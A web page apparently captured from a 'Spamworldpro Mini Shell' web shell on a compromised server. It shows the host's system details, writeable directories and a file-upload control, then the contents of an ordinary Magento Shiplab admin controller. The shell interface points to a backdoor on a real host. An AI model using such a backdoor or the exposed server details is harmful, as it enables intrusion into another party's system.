Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/extmag/shiplab/Controller/Adminhtml/Configuration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/extmag/shiplab/Controller/Adminhtml/Configuration/Edit.php
<?php
/**
 * Copyright © Extmag. All rights reserved.
 */

namespace Extmag\Shiplab\Controller\Adminhtml\Configuration;

use Extmag\Shiplab\Controller\Adminhtml\Configuration;
use Magento\Framework\App\Action\HttpGetActionInterface as HttpGetActionInterface;

class Edit extends Configuration implements HttpGetActionInterface
{
    /**
     * Authorization level of a basic admin session
     *
     * @see _isAllowed()
     */
    public const ADMIN_RESOURCE = 'Extmag_Shiplab::shiplab_configuration_save';

    public function execute()
    {
        $current = $this->getRequest()->getParam('section');
        /*$store = $this->getRequest()->getParam('store');
        $direction = $this->getRequest()->getParam('direction');
        $direction = $this->getRequest()->getParam('direction');
        $country = $this->getRequest()->getParam('country');*/

        //$section = $this->_configStructure->getElement($current);
        //if ($current && !$section->isVisible($store, $direction, $direction, $country)) {
        //   $redirectResult = $this->resultRedirectFactory->create();
        //   return $redirectResult->setPath('extmag_shiplab/*/', ['store' => $store,
        // 'direction' => $direction, 'direction' => $direction, 'country' => $country]);
        //}

        $resultPage = $this->initPage();
        $resultPage->getLayout()->getBlock('menu')->setAdditionalCacheKeyInfo(['extmag' . $current]);
        $resultPage->addBreadcrumb(__('Configuration'), __('Configuration'));
        $resultPage->getConfig()->getTitle()->prepend(__('Shiplab Configuration'));

        return $resultPage;
    }
}

Spamworldpro Mini